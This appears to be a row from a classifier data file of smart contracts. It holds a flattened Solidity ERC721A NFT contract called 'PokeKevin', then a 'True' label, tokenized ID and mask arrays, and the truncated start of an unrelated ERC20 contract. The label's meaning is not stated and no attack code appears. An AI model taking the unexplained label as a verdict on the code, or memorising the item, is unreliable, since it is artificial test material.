* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: ERC721A.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize = 2000;
uint256 internal immutable maxBatchSize = 20;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
override
returns (uint256)
{
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(
owner != address(0),
"ERC721A: balance query for the zero address"
);
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
require(
_exists(tokenId),
"ERC721A: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
override
{
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721A: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: pokekevin.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract PokeKevin is ERC721A, ReentrancyGuard, Ownable {
string private baseURI;
uint256 private presalePrice = 0.01 ether;
uint256 private publicPrice = 0.01 ether;
uint256 private reserved = 10;
bool private saleStatus;
bool private revealStatus;
mapping(address => uint256) private mintOG;
constructor() ERC721A("PokeKevin", "PokeKevin") {}
function setBaseURI(string memory _URI) external onlyOwner {
baseURI = _URI;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setSaleStatus() external onlyOwner {
saleStatus = !saleStatus;
}
function getReservedAmount() public view returns (uint256) {
return reserved;
}
// Mint Function
function mintNFT(uint256 amount) public payable nonReentrant {
address sender = _msgSender();
uint256 NFTcount = totalSupply();
require(saleStatus, "Sale is not started yet");
require(amount > 0, "NFT amount must greater than 0");
if (NFTcount < 333) {
require(mintOG[sender] + amount <= 300, "Max 300 NFT per wallet during mint");
mintOG[sender] += amount;
_safeMint(sender, amount);
} else if (333 <= NFTcount && NFTcount < 2000) {
require(
NFTcount + amount <= collectionSize - reserved,
"NFTs in sale is lower than amount"
);
require(
amount * presalePrice <= msg.value,
"Ether amount mustn't less than the price"
);
_safeMint(sender, amount);
} else if (2000 <= NFTcount) {
require(
NFTcount + amount <= collectionSize - reserved,
"NFTs in sale is lower than amount"
);
require(
amount * publicPrice <= msg.value,
"Ether amount mustn't less than the price"
);
_safeMint(sender, amount);
} else {
revert("Sale is not started yet for this phase");
}
}
function giveaway(address _to, uint256 amount) external onlyOwner {
require(_to != address(0), "Cannot give NFT to address 0");
require(
amount <= reserved,
"Supply NFT in reserved is less than amount"
);
reserved -= amount;
_safeMint(_to, amount);
}
// Reveal Mechanism
function setReveal() external onlyOwner {
revealStatus = !revealStatus;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealStatus) {
return baseURI;
}
return super.tokenURI(tokenId);
}
// Withdraw Balance
address private payoutAddress = 0xfff1b126BA6669C70800FC393EC113E3aA2E5c2e;
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(payoutAddress).transfer(balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
5709,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
3036,
1013,
2128,
4765,
5521,
5666,
18405,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2008,
7126,
4652,
2128,
4765,
17884,
4455,
2000,
1037,
3853,
1012,
1008,
1008,
22490,
2075,
2013,
1036,
2128,
4765,
5521,
5666,
18405,
1036,
2097,
2191,
1996,
1063,
2512,
28029,
6494,
3372,
1065,
16913,
18095,
1008,
2800,
1010,
2029,
2064,
2022,
4162,
2000,
4972,
2000,
2191,
2469,
2045,
2024,
2053,
9089,
2098,
1008,
1006,
2128,
4765,
17884,
1007,
4455,
2000,
2068,
1012,
1008,
1008,
3602,
2008,
2138,
2045,
2003,
1037,
2309,
1036,
2512,
28029,
6494,
3372,
1036,
3457,
1010,
4972,
4417,
2004,
1008,
1036,
2512,
28029,
6494,
3372,
1036,
2089,
2025,
2655,
2028,
2178,
1012,
2023,
2064,
2022,
2499,
2105,
2011,
2437,
1008,
2216,
4972,
1036,
2797,
1036,
1010,
1998,
2059,
5815,
1036,
6327,
1036,
1036,
2512,
28029,
6494,
3372,
1036,
4443,
1008,
2685,
2000,
2068,
1012,
1008,
1008,
5955,
1024,
2065,
2017,
2052,
2066,
2000,
4553,
2062,
2055,
2128,
4765,
5521,
5666,
1998,
4522,
3971,
1008,
2000,
4047,
2114,
2009,
1010,
4638,
2041,
2256,
9927,
2695,
1008,
16770,
1024,
1013,
1013,
9927,
1012,
2330,
4371,
27877,
2378,
1012,
4012,
1013,
2128,
4765,
5521,
5666,
1011,
2044,
1011,
9960,
1013,
1031,
2128,
4765,
5521,
5666,
2044,
9960,
1033,
1012,
1008,
1013,
10061,
3206,
2128,
4765,
5521,
5666,
18405,
1063,
1013,
1013,
22017,
20898,
2015,
2024,
2062,
6450,
2084,
21318,
3372,
17788,
2575,
2030,
2151,
2828,
2008,
3138,
2039,
1037,
2440,
1013,
1013,
2773,
2138,
2169,
4339,
3169,
12495,
3215,
2019,
4469,
22889,
10441,
2094,
2000,
2034,
3191,
1996,
1013,
1013,
10453,
1005,
1055,
8417,
1010,
5672,
1996,
9017,
2579,
2039,
2011,
1996,
22017,
20898,
1010,
1998,
2059,
4339,
1013,
1013,
2067,
1012,
2023,
2003,
1996,
21624,
1005,
1055,
3639,
2114,
3206,
18739,
1998,
1013,
1013,
20884,
14593,
2075,
1010,
1998,
2009,
3685,
2022,
9776,
1012,
1013,
1013,
1996,
5300,
2108,
2512,
1011,
5717,
3643,
3084,
10813,
1037,
2978,
2062,
6450,
1010,
1013,
1013,
2021,
1999,
3863,
1996,
25416,
8630,
2006,
2296,
2655,
2000,
2512,
28029,
6494,
3372,
2097,
2022,
2896,
1999,
1013,
1013,
3815,
1012,
2144,
25416,
26698,
2024,
13880,
2000,
1037,
7017,
1997,
1996,
2561,
1013,
1013,
12598,
1005,
1055,
3806,
1010,
2009,
2003,
2190,
2000,
2562,
2068,
2659,
1999,
3572,
2066,
2023,
2028,
1010,
2000,
1013,
1013,
3623,
1996,
16593,
1997,
1996,
2440,
25416,
8630,
2746,
2046,
3466,
1012,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
2025,
1035,
3133,
1027,
1015,
1025,
21318,
3372,
17788,
2575,
2797,
5377,
1035,
3133,
1027,
1016,
1025,
21318,
3372,
17788,
2575,
2797,
1035,
3570,
1025,
9570,
2953,
1006,
1007,
1063,
1035,
3570,
1027,
1035,
2025,
1035,
3133,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16263,
1037,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
